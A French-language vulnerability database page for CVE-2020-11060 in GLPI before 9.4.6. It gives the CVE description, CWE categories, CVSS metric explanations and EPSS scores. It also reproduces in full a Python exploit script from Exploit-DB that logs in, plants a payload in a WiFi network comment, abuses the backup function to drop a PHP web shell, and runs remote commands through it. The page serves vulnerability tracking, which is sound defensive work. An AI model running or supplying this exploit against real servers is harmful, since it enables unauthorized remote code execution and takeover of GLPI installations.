CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
In GLPI before 9.4.6, an attacker can execute system commands by abusing the backup functionality. Theoretically, this vulnerability can be exploited by an attacker without a valid account by using a CSRF. Due to the difficulty of the exploitation, the attack is only conceivable by an account having Maintenance privileges and the right to add WIFI networks. This is fixed in version 9.4.6.
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
Cross-Site Request Forgery (CSRF) The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
7.4
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Changed
An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
Low
There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
Low
Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
Low
Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1
8.8
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
9
AV:N/AC:L/Au:S/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
2.74%
–
–
–
–
2021-06-20
3.63%
–
–
–
–
2021-09-05
–
3.63%
–
–
–
2022-01-09
–
3.63%
–
–
–
2022-02-06
–
–
26.47%
–
–
2022-04-03
–
–
26.47%
–
–
2022-07-17
–
–
11.75%
–
–
2022-11-20
–
–
26.47%
–
–
2023-03-12
–
–
–
0.22%
–
2023-06-04
–
–
–
0.22%
–
2023-10-15
–
–
–
0.22%
–
2024-02-11
–
–
–
0.22%
–
2024-06-02
–
–
–
0.22%
–
2024-12-15
–
–
–
0.22%
–
2024-12-22
–
–
–
0.27%
–
2025-02-09
–
–
–
0.27%
–
2025-01-19
–
–
–
0.27%
–
2025-02-16
–
–
–
0.27%
–
2025-03-18
–
–
–
–
48.11%
2025-03-30
–
–
–
–
15.52%
2025-03-30
–
–
–
–
15.52,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2023-10-08 22h00 +00:00 Auteur : Brian Peters EDB Vérifié : No
#!/usr/bin/env python3
#Exploit Title: GLPI GZIP(Py3) 9.4.5 - RCE
#Date: 08-30-2021
#Exploit Authors: Brian Peters & n3rada
#Vendor Homepage: https://glpi-project.org/
#Software Link: https://github.com/glpi-project/glpi/releases
#Version: 0.8.5-9.4.5
#Tested on: Exploit ran on Kali 2021. GLPI Ran on Windows 2019
#CVE: 2020-11060
# Built-in imports
import argparse
import random
import re
import string
from datetime import datetime
# Third party library imports
import requests
from lxml import html
# https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt
PAYLOAD = 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requests.packages.urllib3.disable_warnings()
class GlpiBrowser:
"""_summary_"""
def __init__(self, url: str, user: str, password: str, platform: str):
"""
Initialize the GlpiBrowser with required attributes.
Args:
url (str): The URL of the target GLPI instance.
user (str): The username for authentication.
password (str): The password for authentication.
platform (str): The platform of the target (either 'windows' or 'unix').
"""
self.__url = url
self.__user = user
self.__password = password
self.accessible_directory = "pics"
if "win" in platform.lower():
self.__platform = "windows"
else:
self.__platform = "unix"
self.__session = requests.Session()
self.__session.verify = False
self.__shell_name = None
print(f"[+] {self!s}")
# Dunders
def __repr__(self) -> str:
"""Return a machine-readable representation of the browser instance."""
return f"<GlpiBrowser(url={self.__url!r}, user={self.__user!r}), password={self.__password!r}, plateform={self.__platform!r}>"
def __str__(self) -> str:
"""Return a human-readable representation of the browser instance."""
return f"GLPI Browser targeting {self.__url!r} ({self.__platform!r}) with following credentials: {self.__user!r}:{self.__password!r}."
# Public methods
def is_alive(self) -> bool:
"""
Check if the target GLPI instance is alive and responding.
Returns:
bool: True if the GLPI instance is up and responding, otherwise False.
"""
try:
self.__session.get(url=self.__url, timeout=3)
except Exception as error:
print(f"[-] Impossible to reach the target.")
print(f"[x] Root cause: {error}")
return False
else:
print(f"[+] Target is up and responding.")
return True
def login(self) -> bool:
"""
Attempt to login to the GLPI instance with provided credentials.
Returns:
bool: True if login is successful, otherwise False.
"""
html_text = self.__session.get(url=self.__url, allow_redirects=True).text
csrf_token = self.__extract_csrf(html=html_text)
name_field = re.search(r'name="(.*)" id="login_name"', html_text).group(1)
pass_field = re.search(r'name="(.*)" id="login_password"', html_text).group(1)
login_request = self.__session.post(
url=f"{self.__url}/front/login.php",
data={
name_field: self.__user,
pass_field: self.__password,
"auth": "local",
"submit": "Post",
"_glpi_csrf_token": csrf_token,
},
allow_redirects=False,
)
return login_request.status_code == 302
def create_network(self, datemod: str) -> None:
"""
Create a new network with the specified attributes.
Args:
datemod (str): The timestamp indicating when the network was modified.
"""
creation_request = self.__session.post(
f"{self.__url}/front/wifinetwork.form.php",
data={
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": PAYLOAD,
"essid": "RCE",
"mode": "ad-hoc",
"add": "ADD",
"_glpi_csrf_token": self.__extract_csrf(
self.__session.get(f"{self.__url}/front/wifinetwork.php").text
),
"_read_date_mod": datemod,
},
)
if creation_request.status_code == 302:
print("[+] Network created")
def wipe_networks(self, padding, datemod):
"""
Wipe all networks.
Args:
padding (str): Padding string for ESSID.
datemod (str): The timestamp indicating when the network was modified.
"""
print("[*] Wiping networks...")
all_networks_request = self.__session.get(
f"{self.__url}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9"
)
webpage = html.fromstring(all_networks_request.content)
for rawlink in set(
link
for link in webpage.xpath("//a/@href")
if "wifinetwork.form.php?id=" in link
):
network_id = rawlink.split("=")[-1]
print(f"\tDeleting network id: {network_id}")
self.__session.post(
f"{self.__url}/front/wifinetwork.form.php",
data={
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": PAYLOAD,
"essid": "RCE" + padding,
"mode": "ad-hoc",
"purge": "Delete permanently",
"id": network_id,
"_glpi_csrf_token": self.__extract_csrf(all_networks_request.text),
"_read_date_mod": datemod,
},
)
def edit_network(self, padding: str, datemod: str) -> None:
"""_summary_
options:
padding (str): _description_
datemod (str): _description_
"""
print("[+] Modifying network")
for rawlink in set(
link
for link in html.fromstring(
self.__session.get(f"{self.__url}/front/wifinetwork.php").content
).xpath("//a/@href")
if "wifinetwork.form.php?id=" in link
):
# edit the network name and essid
self.__session.post(
f"{self.__url}/front/wifinetwork.form.php",
data={
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": PAYLOAD,
"essid": f"RCE{padding}",
"mode": "ad-hoc",
"update": "Save",
"id": rawlink.split("=")[-1],
"_glpi_csrf_token": self.__extract_csrf(
self.__session.get(
f"{self.__url}/front/{rawlink.split('/')[-1]}"
).text
),
"_read_date_mod": datemod,
},
)
print(f"\tNew ESSID: RCE{padding}")
def create_dump(self, wifi_table_offset: str = None):
"""
Initiates a dump request to the server.
Args:
wifi_table_offset (str, optional): The offset for the 'wifi_networks' table. Defaults to '310'.
Note:
Adjust the offset number to match the table number for wifi_networks.
This can be found by downloading a SQL dump and running:
zgrep -n "CREATE TABLE" glpi-backup-*.sql.gz | grep -n wifinetworks
"""
dump_target = f"{self.path}{self.__shell_name}"
print(f"[*] Dumping the database remotely at: {dump_target}")
self.__session.get(
f"{self.__url}/front/backup.php?dump=dump&offsettable={wifi_table_offset or '310'}&fichier={dump_target}"
)
print(f"[+] File 'dumped', accessible at: {self.shell_path}")
def upload_rce(self, wifi_table_offset: str = None) -> str:
"""
Uploads the RCE (Remote Code Execution) shell to the target.
Args:
wifi_table_offset (str, optional): The offset for the 'wifi_networks' table.
Returns:
str: A status message indicating the outcome of the upload.
"""
if not self.login():
print("[-] Login error")
return
print(f"[+] User {self.__user!r} is logged in.")
# create timestamp
datemod = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
tick = 1
while True:
print("-" * 25 + f" trial number {tick} " + "-" * 25)
# create padding for ESSID
padding = "e" * tick
self.wipe_networks(padding, datemod)
self.create_network(datemod)
self.edit_network(padding, datemod)
self.__shell_name = (
"".join(random.choice(string.ascii_letters) for _ in range(8)) + ".php"
)
print(f"[+] Current shellname: {self.__shell_name}")
self.create_dump(wifi_table_offset)
if self.__shell_check():
break
tick += 1
print("-" * 66)
print(f"[+] RCE found after {tick} trials!")
# Private methods
def __extract_csrf(self, html: str):
"""Extract CSRF token from the provided HTML content."""
return re.search(
pattern=r'name="_glpi_csrf_token" value="([a-f0-9]{32})"', string=html
).group(1)
def __shell_check(self) -> bool:
"""Check if the uploaded shell is active and responding correctly."""
r = self.__session.get(
url=self.shell_path,
params={"0": "echo HERE"},
)
shell_size = len(r.content)
print(f"[+] Shell size: {shell_size!s}")
if shell_size < 50:
print("[x] Too small, there is a problem with the choosen offset.")
return False
return b"HERE" in r.content
# Properties
@property
def path(self):
"""With this property, every time you access self.path, it will dynamically generate and return the path string based on the current value of self.accessible_directory. This way, it will always be a "direct reference" to the value of self.accessible_directory."""
if "win" in self.__platform.lower():
return f"C:\\xampp\\htdocs\\{self.accessible_directory}\\"
else:
return f"/var/www/html/glpi/{self.accessible_directory}/"
@property
def shell_path(self) -> str:
"""Generate the complete path to the uploaded shell."""
return f"{self.__url}/{self.accessible_directory}/{self.__shell_name}"
def execute(
url: str,
command: str,
timeout: float = None,
) -> str:
"""
Executes a given command on a remote server through a web shell.
This function assumes a web shell has been previously uploaded to the target
server and sends a request to execute the provided command. It uses a unique
delimiter ("HoH") to ensure that the command output can be parsed and
returned without any additional data.
Args:
url (str): The URL where the web shell is located on the target server.
command (str): The command to be executed on the target server.
timeout (float, optional): Maximum time, in seconds, for the request
to the server. Defaults to None, meaning no timeout.
Returns:
str: The output of the executed command. Returns None if the URL or
command is not provided.
"""
if url is None or command is None:
return
command = f"echo HoH&&{command}&&echo HoH"
response = requests.get(
url=url,
params={
"0": command,
},
timeout=timeout,
verify=False,
)
# Use regex to find the content between "HoH" delimiters
if match := re.search(
pattern=r"HoH(.*?)HoH", string=response.text, flags=re.DOTALL
):
return match.group(1).strip()
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--url", help="Target URL.", required=True)
parser.add_argument("--user", help="Username.", default=None)
parser.add_argument("--password", help="Password.", default=None)
parser.add_argument("--platform", help="Target OS (windows/unix).", default=None)
parser.add_argument(
"--offset", help="Offset for table wifi_networks.", default=None
)
parser.add_argument(
"--dir",
help="Accessible directory on the target.",
default="sound",
required=False,
) # "sound" as default directory
parser.add_argument("--command", help="Command to execute via RCE.", default=None)
options = parser.parse_args()
if options.command:
# We assume the given URL is the shell path if a command is provided.
try:
response = execute(url=options.url, command=options.command, timeout=5)
except TimeoutError:
print(f"[x] Timeout received form target. Maybe your command failed.")
else:
print(f"[*] Response received from {options.url!r}:")
print(response)
finally:
return
target = GlpiBrowser(
options.url,
user=options.user,
password=options.password,
platform=options.platform,
)
if not target.is_alive():
return
target.accessible_directory = options.dir
target.upload_rce(wifi_table_offset=options.offset)
print(
f"[+] You can execute command remotely as: {execute(url=target.shell_path, command='whoami').strip()}@{execute(url=target.shell_path, command='hostname').strip()}"
)
print("[+] Run this tool again with the desired command to inject:")
print(
f"\tpython3 CVE-2020-11060.py --url '{target.shell_path}' --command 'desired_command_here'"
)
if __name__ == "__main__":
main()
Products Mentioned
Configuraton 0
Glpi-project>>Glpi >> Version To (excluding) 9.4.6